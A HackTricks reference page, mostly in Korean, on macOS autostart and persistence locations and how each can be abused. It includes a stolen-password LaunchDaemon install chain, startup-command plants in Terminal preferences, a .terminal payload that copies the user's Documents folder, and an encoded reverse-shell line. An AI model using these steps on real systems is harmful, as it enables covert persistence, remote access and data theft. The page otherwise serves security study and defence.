macOS ์ž๋™ ์‹œ์ž‘

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ

์ด ์„น์…˜์€ ๋ธ”๋กœ๊ทธ ์‹œ๋ฆฌ์ฆˆ Beyond the good olโ€™ LaunchAgents๋ฅผ ํฌ๊ฒŒ ์ฐธ๊ณ ํ–ˆ์œผ๋ฉฐ, ๋ชฉํ‘œ๋Š” ๊ฐ€๋Šฅํ•œ ๊ฒฝ์šฐ ๋” ๋งŽ์€ Autostart Locations์„ ์ถ”๊ฐ€ํ•˜๊ณ , ์ตœ์‹  macOS (13.4)์—์„œ ํ˜„์žฌ๋„ ๋™์ž‘ํ•˜๋Š” ๊ธฐ์ˆ ๋“ค์„ ํ‘œ์‹œํ•˜๋ฉฐ, ํ•„์š”ํ•œ ๊ถŒํ•œ์„ ๋ช…์‹œํ•˜๋Š” ๊ฒƒ์ž…๋‹ˆ๋‹ค.

Sandbox Bypass

Tip

์—ฌ๊ธฐ์—๋Š” ํŒŒ์ผ์— ๊ธฐ๋กํ•˜๊ณ  ๋งค์šฐ ํ”ํ•œ ๋™์ž‘์„ ๊ธฐ๋‹ค๋ฆฌ๊ฑฐ๋‚˜, ์ •ํ•ด์ง„ ์‹œ๊ฐ„ ๊ฒฝ๊ณผ ๋˜๋Š” ์ƒŒ๋“œ๋ฐ•์Šค ๋‚ด๋ถ€์—์„œ ๋ณดํ†ต ์ˆ˜ํ–‰ํ•  ์ˆ˜ ์žˆ๋Š” ๋™์ž‘์„ ํ†ตํ•ด ๊ฐ„๋‹จํžˆ ๋ฌด์–ธ๊ฐ€๋ฅผ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ๊ฒŒ ํ•ด ์ฃผ๋Š” sandbox bypass์— ์œ ์šฉํ•œ ์‹œ์ž‘ ์œ„์น˜๋“ค์ด ์ •๋ฆฌ๋˜์–ด ์žˆ์Šต๋‹ˆ๋‹ค. ์ด ๋ฐฉ๋ฒ•๋“ค์€ ๋ณดํ†ต root permissions ์—†์ด ์ˆ˜ํ–‰ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

Launchd

Locations

  • /Library/LaunchAgents
  • Trigger: Reboot
  • Root required
  • /Library/LaunchDaemons
  • Trigger: Reboot
  • Root required
  • /System/Library/LaunchAgents
  • Trigger: Reboot
  • Root required
  • /System/Library/LaunchDaemons
  • Trigger: Reboot
  • Root required
  • ~/Library/LaunchAgents
  • Trigger: Relog-in
  • ~/Library/LaunchDemons
  • Trigger: Relog-in

Tip

ํฅ๋ฏธ๋กœ์šด ์‚ฌ์‹ค๋กœ, **launchd**๋Š” Mach-o ์„น์…˜ __Text.__config์— ์ž„๋ฒ ๋””๋“œ๋œ property list๋ฅผ ๊ฐ€์ง€๊ณ  ์žˆ์œผ๋ฉฐ, ์—ฌ๊ธฐ์—๋Š” launchd๊ฐ€ ์‹œ์ž‘ํ•ด์•ผ ํ•˜๋Š” ์ž˜ ์•Œ๋ ค์ง„ ๋‹ค๋ฅธ ์„œ๋น„์Šค๋“ค์ด ํฌํ•จ๋˜์–ด ์žˆ์Šต๋‹ˆ๋‹ค. ๋˜ํ•œ ์ด๋Ÿฌํ•œ ์„œ๋น„์Šค๋“ค์€ RequireSuccess, RequireRun ๋ฐ RebootOnSuccess ๊ฐ™์€ ํ•ญ๋ชฉ์„ ํฌํ•จํ•  ์ˆ˜ ์žˆ๋Š”๋ฐ, ์ด๋Š” ํ•ด๋‹น ์„œ๋น„์Šค๋“ค์ด ๋ฐ˜๋“œ์‹œ ์‹คํ–‰๋˜์–ด ์„ฑ๊ณต์ ์œผ๋กœ ์™„๋ฃŒ๋˜์–ด์•ผ ํ•จ์„ ์˜๋ฏธํ•ฉ๋‹ˆ๋‹ค.

๋ฌผ๋ก , code signing ๋•Œ๋ฌธ์— ์ˆ˜์ •ํ•  ์ˆ˜ ์—†์Šต๋‹ˆ๋‹ค.

์„ค๋ช… ๋ฐ ์•…์šฉ

**launchd**๋Š” ๋ถ€ํŒ… ์‹œ OX S ์ปค๋„์— ์˜ํ•ด ์‹คํ–‰๋˜๋Š” ๊ฐ€์žฅ ์ฒซ ๋ฒˆ์งธ ํ”„๋กœ์„ธ์Šค์ด์ž ์ข…๋ฃŒ ์‹œ ๋งˆ์ง€๋ง‰์œผ๋กœ ์ข…๋ฃŒ๋˜๋Š” ํ”„๋กœ์„ธ์Šค์ž…๋‹ˆ๋‹ค. ํ•ญ์ƒ PID 1์„ ๊ฐ–์Šต๋‹ˆ๋‹ค. ์ด ํ”„๋กœ์„ธ์Šค๋Š” ๋‹ค์Œ ์œ„์น˜๋“ค์— ์žˆ๋Š” ASEP plists์— ๋ช…์‹œ๋œ ์„ค์ •์„ ์ฝ๊ณ  ์‹คํ–‰ํ•ฉ๋‹ˆ๋‹ค:

  • /Library/LaunchAgents: ๊ด€๋ฆฌ์ž์— ์˜ํ•ด ์„ค์น˜๋œ ์‚ฌ์šฉ์ž๋ณ„ agents
  • /Library/LaunchDaemons: ๊ด€๋ฆฌ์ž์— ์˜ํ•ด ์„ค์น˜๋œ ์‹œ์Šคํ…œ ์ „์ฒด daemons
  • /System/Library/LaunchAgents: Apple์ด ์ œ๊ณตํ•˜๋Š” ์‚ฌ์šฉ์ž๋ณ„ agents
  • /System/Library/LaunchDaemons: Apple์ด ์ œ๊ณตํ•˜๋Š” ์‹œ์Šคํ…œ ์ „์ฒด daemons

์‚ฌ์šฉ์ž๊ฐ€ ๋กœ๊ทธ์ธํ•˜๋ฉด /Users/$USER/Library/LaunchAgents ๋ฐ /Users/$USER/Library/LaunchDemons์— ์œ„์น˜ํ•œ plists๊ฐ€ ๋กœ๊ทธ์ธํ•œ ์‚ฌ์šฉ์ž์˜ ๊ถŒํ•œ์œผ๋กœ ์‹œ์ž‘๋ฉ๋‹ˆ๋‹ค.

agents์™€ daemons์˜ ์ฃผ์š” ์ฐจ์ด์ ์€ agents๋Š” ์‚ฌ์šฉ์ž๊ฐ€ ๋กœ๊ทธ์ธํ•  ๋•Œ ๋กœ๋“œ๋˜๊ณ  daemons๋Š” ์‹œ์Šคํ…œ ๋ถ€ํŒ… ์‹œ ๋กœ๋“œ๋œ๋‹ค๋Š” ์ ์ž…๋‹ˆ๋‹ค(์˜ˆ: ssh ๊ฐ™์€ ์„œ๋น„์Šค๋Š” ์–ด๋–ค ์‚ฌ์šฉ์ž๋„ ์‹œ์Šคํ…œ์— ์ ‘๊ทผํ•˜๊ธฐ ์ „์— ์‹คํ–‰๋˜์–ด์•ผ ํ•ฉ๋‹ˆ๋‹ค). ๋˜ํ•œ agents๋Š” GUI๋ฅผ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ๋Š” ๋ฐ˜๋ฉด daemons๋Š” ๋ฐฑ๊ทธ๋ผ์šด๋“œ์—์„œ ์‹คํ–‰๋˜์–ด์•ผ ํ•ฉ๋‹ˆ๋‹ค.

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN">
<plist version="1.0">
<dict>
<key>Label</key>
<string>com.apple.someidentifier</string>
<key>ProgramArguments</key>
<array>
<string>bash -c 'touch /tmp/launched'</string> <!--Prog to execute-->
</array>
<key>RunAtLoad</key><true/> <!--Execute at system startup-->
<key>StartInterval</key>
<integer>800</integer> <!--Execute each 800s-->
<key>KeepAlive</key>
<dict>
<key>SuccessfulExit</key></false> <!--Re-execute if exit unsuccessful-->
<!--If previous is true, then re-execute in successful exit-->
</dict>
</dict>
</plist>

์‚ฌ์šฉ์ž๊ฐ€ ๋กœ๊ทธ์ธํ•˜๊ธฐ ์ „์— agent๊ฐ€ ์‹คํ–‰๋˜์–ด์•ผ ํ•˜๋Š” ๊ฒฝ์šฐ๊ฐ€ ์žˆ์œผ๋ฉฐ, ์ด๋ฅผ PreLoginAgents๋ผ๊ณ  ํ•ฉ๋‹ˆ๋‹ค. ์˜ˆ๋ฅผ ๋“ค์–ด, ๋กœ๊ทธ์ธ ์‹œ ๋ณด์กฐ ๊ธฐ์ˆ ์„ ์ œ๊ณตํ•  ๋•Œ ์œ ์šฉํ•ฉ๋‹ˆ๋‹ค. ๋˜ํ•œ /Library/LaunchAgents์—์„œ๋„ ์ฐพ์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค(์˜ˆ์ œ๋Š” here ์ฐธ์กฐ).

Tip

New Daemons or Agents config files will be loaded after next reboot or using launchctl load <target.plist> Itโ€™s also possible to load .plist files without that extension with launchctl -F <file> (however those plist files wonโ€™t be automatically loaded after reboot).
Itโ€™s also possible to unload with launchctl unload <target.plist> (the process pointed by it will be terminated),

Agent๋‚˜ Daemon์ด ์‹คํ–‰๋˜์ง€ ๋ชปํ•˜๋„๋ก(์˜ˆ: override ๊ฐ™์€) ์•„๋ฌด๋Ÿฐ ์š”์†Œ๊ฐ€ ์—†๋Š”์ง€ ํ™•์ธํ•˜๋ ค๋ฉด ๋‹ค์Œ์„ ์‹คํ–‰ํ•˜์„ธ์š”: sudo launchctl load -w /System/Library/LaunchDaemos/com.apple.smdb.plist

ํ˜„์žฌ ์‚ฌ์šฉ์ž์— ์˜ํ•ด ๋กœ๋“œ๋œ ๋ชจ๋“  agents ๋ฐ daemons๋ฅผ ๋‚˜์—ด:

launchctl list

์˜ˆ์‹œ ์•…์„ฑ LaunchDaemon ์ฒด์ธ (๋น„๋ฐ€๋ฒˆํ˜ธ ์žฌ์‚ฌ์šฉ)

A recent macOS infostealer reused a captured sudo password to drop a user agent and a root LaunchDaemon:

  • agent ๋ฃจํ”„๋ฅผ ~/.agent์— ์ž‘์„ฑํ•˜๊ณ  ์‹คํ–‰ ๊ฐ€๋Šฅํ•˜๋„๋ก ๋งŒ๋“ ๋‹ค.
  • ํ•ด๋‹น agent๋ฅผ ๊ฐ€๋ฆฌํ‚ค๋Š” plist๋ฅผ /tmp/starter์— ์ƒ์„ฑํ•œ๋‹ค.
  • ๋„์šฉํ•œ ๋น„๋ฐ€๋ฒˆํ˜ธ๋ฅผ sudo -S์™€ ํ•จ๊ป˜ ์žฌ์‚ฌ์šฉํ•˜์—ฌ ์ด๋ฅผ /Library/LaunchDaemons/com.finder.helper.plist๋กœ ๋ณต์‚ฌํ•˜๊ณ , ์†Œ์œ ์ž๋ฅผ root:wheel๋กœ ์„ค์ •ํ•œ ๋‹ค์Œ launchctl load๋กœ ๋กœ๋“œํ•œ๋‹ค.
  • ์ถœ๋ ฅ์„ ๋ถ„๋ฆฌํ•˜๊ธฐ ์œ„ํ•ด nohup ~/.agent >/dev/null 2>&1 &๋กœ agent๋ฅผ ์กฐ์šฉํžˆ ์‹œ์ž‘ํ•œ๋‹ค.
printf '%s\n' "$pw" | sudo -S cp /tmp/starter /Library/LaunchDaemons/com.finder.helper.plist
printf '%s\n' "$pw" | sudo -S chown root:wheel /Library/LaunchDaemons/com.finder.helper.plist
printf '%s\n' "$pw" | sudo -S launchctl load /Library/LaunchDaemons/com.finder.helper.plist
nohup "$HOME/.agent" >/dev/null 2>&1 &

Warning

plist๊ฐ€ ์‚ฌ์šฉ์ž๊ฐ€ ์†Œ์œ ํ•œ ๊ฒฝ์šฐ, system wide ๋ฐ๋ชฌ ํด๋”์— ์žˆ๋”๋ผ๋„, ์ž‘์—…์€ ์‚ฌ์šฉ์ž๋กœ ์‹คํ–‰๋ฉ๋‹ˆ๋‹ค(root๊ฐ€ ์•„๋‹˜). ์ด๋Š” ์ผ๋ถ€ ๊ถŒํ•œ ์ƒ์Šน ๊ณต๊ฒฉ์„ ๋ฐฉ์ง€ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

More info about launchd

**launchd**๋Š” ์ปค๋„์—์„œ ์‹œ์ž‘๋˜๋Š” ์ตœ์ดˆ์˜ ์œ ์ € ๋ชจ๋“œ ํ”„๋กœ์„ธ์Šค์ž…๋‹ˆ๋‹ค. ํ”„๋กœ์„ธ์Šค ์‹œ์ž‘์€ ์„ฑ๊ณต์ ์ด์–ด์•ผ ํ•˜๊ณ  ์ข…๋ฃŒํ•˜๊ฑฐ๋‚˜ ํฌ๋ž˜์‹œํ•  ์ˆ˜ ์—†์Šต๋‹ˆ๋‹ค. ์ผ๋ถ€ kill ์‹ ํ˜ธ์— ๋Œ€ํ•ด์„œ๋„ ๋ณดํ˜ธ๋˜์–ด ์žˆ์Šต๋‹ˆ๋‹ค.

launchd๊ฐ€ ์ˆ˜ํ–‰ํ•˜๋Š” ์ฒซ ๋ฒˆ์งธ ์ž‘์—… ์ค‘ ํ•˜๋‚˜๋Š” ๋‹ค์Œ๊ณผ ๊ฐ™์€ ๋ชจ๋“  daemons๋ฅผ ์‹œ์ž‘ํ•˜๋Š” ๊ฒƒ์ž…๋‹ˆ๋‹ค:

  • Timer daemons based on time to be executed:
  • atd (com.apple.atrun.plist): StartInterval์ด 30๋ถ„์ž…๋‹ˆ๋‹ค
  • crond (com.apple.systemstats.daily.plist): StartCalendarInterval์ด 00:15์— ์‹œ์ž‘ํ•˜๋„๋ก ์„ค์ •๋˜์–ด ์žˆ์Šต๋‹ˆ๋‹ค
  • Network daemons like:
  • org.cups.cups-lpd: TCP์—์„œ ๋ฆฌ์Šค๋‹ (SockType: stream) ํ•˜๋ฉฐ SockServiceName: printer
  • SockServiceName์€ ํฌํŠธ์ด๊ฑฐ๋‚˜ /etc/services์˜ ์„œ๋น„์Šค์—ฌ์•ผ ํ•ฉ๋‹ˆ๋‹ค
  • com.apple.xscertd.plist: ํฌํŠธ 1640์˜ TCP์—์„œ ๋ฆฌ์Šค๋‹ํ•ฉ๋‹ˆ๋‹ค
  • Path daemons that are executed when a specified path changes:
  • com.apple.postfix.master: /etc/postfix/aliases ๊ฒฝ๋กœ๋ฅผ ์ฒดํฌํ•ฉ๋‹ˆ๋‹ค
  • IOKit notifications daemons:
  • com.apple.xartstorageremoted: "com.apple.iokit.matching" => { "com.apple.device-attach" => { "IOMatchLaunchStream" => 1 ...
  • Mach port:
  • com.apple.xscertd-helper.plist: MachServices ํ•ญ๋ชฉ์— com.apple.xscertd.helper๋ผ๋Š” ์ด๋ฆ„์„ ํ‘œ์‹œํ•ฉ๋‹ˆ๋‹ค
  • UserEventAgent:
  • ์ด์ „ ํ•ญ๋ชฉ๊ณผ๋Š” ๋‹ค๋ฆ…๋‹ˆ๋‹ค. ํŠน์ • ์ด๋ฒคํŠธ์— ๋ฐ˜์‘ํ•˜์—ฌ launchd๊ฐ€ ์•ฑ์„ ์ƒ์„ฑํ•˜๊ฒŒ ๋งŒ๋“ญ๋‹ˆ๋‹ค. ๋‹ค๋งŒ ์ด ๊ฒฝ์šฐ ๊ด€๋ จ๋œ ๋ฉ”์ธ ๋ฐ”์ด๋„ˆ๋ฆฌ๋Š” launchd๊ฐ€ ์•„๋‹ˆ๋ผ /usr/libexec/UserEventAgent์ž…๋‹ˆ๋‹ค. ์ด ๋ฐ”์ด๋„ˆ๋ฆฌ๋Š” SIP๋กœ ์ œํ•œ๋œ ํด๋”์ธ /System/Library/UserEventPlugins/์—์„œ ํ”Œ๋Ÿฌ๊ทธ์ธ์„ ๋กœ๋“œํ•˜๋ฉฐ, ๊ฐ ํ”Œ๋Ÿฌ๊ทธ์ธ์€ XPCEventModuleInitializer ํ‚ค์— ์ดˆ๊ธฐํ™”๊ธฐ๋ฅผ ํ‘œ์‹œํ•˜๊ฑฐ๋‚˜, ์ด์ „ ํ”Œ๋Ÿฌ๊ทธ์ธ์˜ ๊ฒฝ์šฐ Info.plist์˜ CFPluginFactories dict์—์„œ FB86416D-6164-2070-726F-70735C216EC0 ํ‚ค ์•„๋ž˜์— ํ‘œ์‹œํ•ฉ๋‹ˆ๋‹ค.

shell startup files

Writeup: https://theevilbit.github.io/beyond/beyond_0001/
Writeup (xterm): https://theevilbit.github.io/beyond/beyond_0018/

  • Useful to bypass sandbox: โœ…
  • TCC Bypass: โœ…
  • But you need to find an app with a TCC bypass that executes a shell that loads these files

Locations

  • ~/.zshrc, ~/.zlogin, ~/.zshenv.zwc, ~/.zshenv, ~/.zprofile
  • Trigger: zsh์œผ๋กœ ํ„ฐ๋ฏธ๋„์„ ์—ด ๋•Œ
  • /etc/zshenv, /etc/zprofile, /etc/zshrc, /etc/zlogin
  • Trigger: zsh์œผ๋กœ ํ„ฐ๋ฏธ๋„์„ ์—ด ๋•Œ
  • ๋ฃจํŠธ ๊ถŒํ•œ ํ•„์š”
  • ~/.zlogout
  • Trigger: zsh ํ„ฐ๋ฏธ๋„์„ ์ข…๋ฃŒํ•  ๋•Œ
  • /etc/zlogout
  • Trigger: zsh ํ„ฐ๋ฏธ๋„์„ ์ข…๋ฃŒํ•  ๋•Œ
  • ๋ฃจํŠธ ๊ถŒํ•œ ํ•„์š”
  • ์ถ”๊ฐ€ ์ •๋ณด: man zsh
  • ~/.bashrc
  • Trigger: bash๋กœ ํ„ฐ๋ฏธ๋„์„ ์—ด ๋•Œ
  • /etc/profile (๋™์ž‘ํ•˜์ง€ ์•Š์Œ)
  • ~/.profile (๋™์ž‘ํ•˜์ง€ ์•Š์Œ)
  • ~/.xinitrc, ~/.xserverrc, /opt/X11/etc/X11/xinit/xinitrc.d/
  • Trigger: xterm์œผ๋กœ ํŠธ๋ฆฌ๊ฑฐ๋  ๊ฒƒ์œผ๋กœ ์˜ˆ์ƒ๋˜์ง€๋งŒ, xterm์€ ์„ค์น˜๋˜์–ด ์žˆ์ง€ ์•Š์Œ์ด๋ฉฐ ์„ค์น˜ ํ›„์—๋„ ๋‹ค์Œ ์˜ค๋ฅ˜๊ฐ€ ๋ฐœ์ƒํ•จ: xterm: DISPLAY is not set

Description & Exploitation

zsh๋‚˜ bash์™€ ๊ฐ™์€ ์…ธ ํ™˜๊ฒฝ์„ ์‹œ์ž‘ํ•˜๋ฉด ํŠน์ • startup ํŒŒ์ผ๋“ค์ด ์‹คํ–‰๋ฉ๋‹ˆ๋‹ค. macOS๋Š” ํ˜„์žฌ ๊ธฐ๋ณธ ์…ธ๋กœ /bin/zsh๋ฅผ ์‚ฌ์šฉํ•ฉ๋‹ˆ๋‹ค. ์ด ์…ธ์€ Terminal ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์„ ์‹คํ–‰ํ•  ๋•Œ๋‚˜ SSH๋กœ ์žฅ์น˜์— ์ ‘์†ํ•  ๋•Œ ์ž๋™์œผ๋กœ ์‚ฌ์šฉ๋ฉ๋‹ˆ๋‹ค. bash์™€ sh๋„ macOS์— ์กด์žฌํ•˜์ง€๋งŒ, ๋ช…์‹œ์ ์œผ๋กœ ํ˜ธ์ถœํ•ด์•ผ ์‚ฌ์šฉ๋ฉ๋‹ˆ๋‹ค.

man zsh(์ฆ‰, man zsh)์˜ ๋งค๋‰ด์–ผ ํŽ˜์ด์ง€์—๋Š” startup ํŒŒ์ผ๋“ค์— ๋Œ€ํ•œ ๊ธด ์„ค๋ช…์ด ์žˆ์Šต๋‹ˆ๋‹ค.

# Example executino via ~/.zshrc
echo "touch /tmp/hacktricks" >> ~/.zshrc

๋‹ค์‹œ ์—ด๋ฆฌ๋Š” ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜

Caution

์ง€์ •๋œ exploitation์„ ๊ตฌ์„ฑํ•˜๊ณ  ๋กœ๊ทธ์•„์›ƒ/๋กœ๊ทธ์ธ ๋˜๋Š” ์žฌ๋ถ€ํŒ…์„ ์‹œ๋„ํ–ˆ์ง€๋งŒ ์•ฑ์„ ์‹คํ–‰ํ•˜๋Š” ๋ฐ ์„ฑ๊ณตํ•˜์ง€ ๋ชปํ–ˆ์Šต๋‹ˆ๋‹ค. (์•ฑ์ด ์‹คํ–‰๋˜์ง€ ์•Š์•˜์Šต๋‹ˆ๋‹ค โ€” ์•„๋งˆ๋„ ์ด๋Ÿฌํ•œ ๋™์ž‘์ด ์ˆ˜ํ–‰๋  ๋•Œ ์•ฑ์ด ์ด๋ฏธ ์‹คํ–‰ ์ค‘์ด์–ด์•ผ ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค)

Writeup: https://theevilbit.github.io/beyond/beyond_0021/

  • sandbox๋ฅผ ์šฐํšŒํ•˜๋Š”๋ฐ ์œ ์šฉ: โœ…
  • TCC bypass: ๐Ÿ”ด

์œ„์น˜

  • ~/Library/Preferences/ByHost/com.apple.loginwindow.<UUID>.plist
  • ํŠธ๋ฆฌ๊ฑฐ: ์žฌ์‹œ์ž‘ ์‹œ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜ ์žฌ์—ด๋ฆผ

์„ค๋ช… ๋ฐ Exploitation

๋‹ค์‹œ ์—ด๋ฆด ๋ชจ๋“  ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์€ plist ~/Library/Preferences/ByHost/com.apple.loginwindow.<UUID>.plist ์•ˆ์— ์žˆ์Šต๋‹ˆ๋‹ค.

๋”ฐ๋ผ์„œ ์žฌ์—ด๋ฆด ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์ด ๋‹น์‹ ์˜ ์•ฑ์„ ์‹คํ–‰ํ•˜๋„๋ก ๋งŒ๋“ค๋ ค๋ฉด, ๋‹จ์ˆœํžˆ ๋ชฉ๋ก์— ๋‹น์‹ ์˜ ์•ฑ์„ ์ถ”๊ฐ€ํ•˜๋ฉด ๋ฉ๋‹ˆ๋‹ค.

UUID๋Š” ํ•ด๋‹น ๋””๋ ‰ํ† ๋ฆฌ๋ฅผ ๋‚˜์—ดํ•˜๊ฑฐ๋‚˜ ioreg -rd1 -c IOPlatformExpertDevice | awk -F'"' '/IOPlatformUUID/{print $4}' ๋ช…๋ น์œผ๋กœ ์ฐพ์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

์žฌ์—ด๋ฆด ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์„ ํ™•์ธํ•˜๋ ค๋ฉด ๋‹ค์Œ์„ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

defaults -currentHost read com.apple.loginwindow TALAppsToRelaunchAtLogin
#or
plutil -p ~/Library/Preferences/ByHost/com.apple.loginwindow.<UUID>.plist

์ด ๋ชฉ๋ก์— ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์„ ์ถ”๊ฐ€ํ•˜๋ ค๋ฉด ๋‹ค์Œ์„ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

# Adding iTerm2
/usr/libexec/PlistBuddy -c "Add :TALAppsToRelaunchAtLogin: dict" \
-c "Set :TALAppsToRelaunchAtLogin:$:BackgroundState 2" \
-c "Set :TALAppsToRelaunchAtLogin:$:BundleID com.googlecode.iterm2" \
-c "Set :TALAppsToRelaunchAtLogin:$:Hide 0" \
-c "Set :TALAppsToRelaunchAtLogin:$:Path /Applications/iTerm.app" \
~/Library/Preferences/ByHost/com.apple.loginwindow.<UUID>.plist

Terminal Preferences

  • sandbox ์šฐํšŒ์— ์œ ์šฉ: โœ…
  • TCC ์šฐํšŒ: โœ…
  • Terminal์„ ์‚ฌ์šฉํ•˜๋ฉด ์‚ฌ์šฉ์ž์˜ FDA ๊ถŒํ•œ์„ ๊ฐ€์งˆ ์ˆ˜ ์žˆ์Œ

Location

  • ~/Library/Preferences/com.apple.Terminal.plist
  • Trigger: Terminal ์—ด๊ธฐ

์„ค๋ช… & Exploitation

In **~/Library/Preferences**์—๋Š” ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์˜ ์‚ฌ์šฉ์ž ํ™˜๊ฒฝ์„ค์ •์ด ์ €์žฅ๋˜์–ด ์žˆ๋‹ค. ์ด ํ™˜๊ฒฝ์„ค์ •๋“ค ์ค‘ ์ผ๋ถ€๋Š” ๋‹ค๋ฅธ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜/์Šคํฌ๋ฆฝํŠธ ์‹คํ–‰์„ ๊ตฌ์„ฑํ•  ์ˆ˜ ์žˆ๋‹ค.

For example, the Terminal can execute a command in the Startup:

This config is reflected in the file ~/Library/Preferences/com.apple.Terminal.plist like this:

[...]
"Window Settings" => {
"Basic" => {
"CommandString" => "touch /tmp/terminal_pwn"
"Font" => {length = 267, bytes = 0x62706c69 73743030 d4010203 04050607 ... 00000000 000000cf }
"FontAntialias" => 1
"FontWidthSpacing" => 1.004032258064516
"name" => "Basic"
"ProfileCurrentVersion" => 2.07
"RunCommandAsShell" => 0
"type" => "Window Settings"
}
[...]

๋”ฐ๋ผ์„œ ์‹œ์Šคํ…œ์˜ terminal ํ™˜๊ฒฝ์„ค์ • plist๋ฅผ ๋ฎ์–ด์“ธ ์ˆ˜ ์žˆ๋‹ค๋ฉด, open ๊ธฐ๋Šฅ์„ ์‚ฌ์šฉํ•ด terminal์„ ์—ด๊ณ  ๊ทธ ๋ช…๋ น์ด ์‹คํ–‰๋˜๋„๋ก ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

๋‹ค์Œ์€ cli์—์„œ ์ถ”๊ฐ€ํ•˜๋Š” ๋ฐฉ๋ฒ•์ž…๋‹ˆ๋‹ค:

# Add
/usr/libexec/PlistBuddy -c "Set :\"Window Settings\":\"Basic\":\"CommandString\" 'touch /tmp/terminal-start-command'" $HOME/Library/Preferences/com.apple.Terminal.plist
/usr/libexec/PlistBuddy -c "Set :\"Window Settings\":\"Basic\":\"RunCommandAsShell\" 0" $HOME/Library/Preferences/com.apple.Terminal.plist

# Remove
/usr/libexec/PlistBuddy -c "Set :\"Window Settings\":\"Basic\":\"CommandString\" ''" $HOME/Library/Preferences/com.apple.Terminal.plist

Terminal ์Šคํฌ๋ฆฝํŠธ / ๊ธฐํƒ€ ํŒŒ์ผ ํ™•์žฅ์ž

  • sandbox ์šฐํšŒ์— ์œ ์šฉ: โœ…
  • TCC bypass: โœ…
  • Terminal์€ ํ•ด๋‹น ์‚ฌ์šฉ์ž๊ฐ€ ๋ถ€์—ฌํ•œ FDA ๊ถŒํ•œ์„ ๊ฐ€์ง€๊ฒŒ ๋ฉ๋‹ˆ๋‹ค.

Location

  • Anywhere
  • Trigger: Terminal ์—ด๊ธฐ

์„ค๋ช… ๋ฐ ์•…์šฉ

If you create a .terminal script and opens, the Terminal application will be automatically invoked to execute the commands indicated in there. If the Terminal app has some special privileges (such as TCC), your command will be run with those special privileges.

Try it with:

# Prepare the payload
cat > /tmp/test.terminal << EOF
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>CommandString</key>
<string>mkdir /tmp/Documents; cp -r ~/Documents /tmp/Documents;</string>
<key>ProfileCurrentVersion</key>
<real>2.0600000000000001</real>
<key>RunCommandAsShell</key>
<false/>
<key>name</key>
<string>exploit</string>
<key>type</key>
<string>Window Settings</string>
</dict>
</plist>
EOF

# Trigger it
open /tmp/test.terminal

# Use something like the following for a reverse shell:
<string>echo -n "YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNDQ0NCAwPiYxOw==" | base64 -d | bash;</string>

You could also use the extensions .command, .tool, with regular shell scripts content and they will be also opened by Terminal.

Caution

If terminal has Full Disk Access it will be able to complete that action (note that the command executed will be visible in a terminal window).

์˜ค๋””์˜ค ํ”Œ๋Ÿฌ๊ทธ์ธ

Writeup: https://theevilbit.github.io/beyond/beyond_0013/
Writeup: https://posts.specterops.io/audio-unit-plug-ins-896d3434a882

  • ์ƒŒ๋“œ๋ฐ•์Šค ์šฐํšŒ์— ์œ ์šฉ: โœ…
  • TCC ์šฐํšŒ: ๐ŸŸ 
  • ์ถ”๊ฐ€์ ์ธ TCC ์ ‘๊ทผ ๊ถŒํ•œ์„ ์–ป์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค

์œ„์น˜

  • /Library/Audio/Plug-Ins/HAL
  • ๋ฃจํŠธ ๊ถŒํ•œ ํ•„์š”
  • ํŠธ๋ฆฌ๊ฑฐ: coreaudiod ๋˜๋Š” ์ปดํ“จํ„ฐ ์žฌ์‹œ์ž‘
  • /Library/Audio/Plug-ins/Components
  • ๋ฃจํŠธ ๊ถŒํ•œ ํ•„์š”
  • ํŠธ๋ฆฌ๊ฑฐ: coreaudiod ๋˜๋Š” ์ปดํ“จํ„ฐ ์žฌ์‹œ์ž‘
  • ~/Library/Audio/Plug-ins/Components
  • ํŠธ๋ฆฌ๊ฑฐ: coreaudiod ๋˜๋Š” ์ปดํ“จํ„ฐ ์žฌ์‹œ์ž‘
  • /System/Library/Components
  • ๋ฃจํŠธ ๊ถŒํ•œ ํ•„์š”
  • ํŠธ๋ฆฌ๊ฑฐ: coreaudiod ๋˜๋Š” ์ปดํ“จํ„ฐ ์žฌ์‹œ์ž‘

์„ค๋ช…

์•ž์˜ writeups์— ๋”ฐ๋ฅด๋ฉด ํŠน์ • ์˜ค๋””์˜ค ํ”Œ๋Ÿฌ๊ทธ์ธ์„ ์ปดํŒŒ์ผํ•˜์—ฌ ๋กœ๋“œ๋˜๊ฒŒ ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

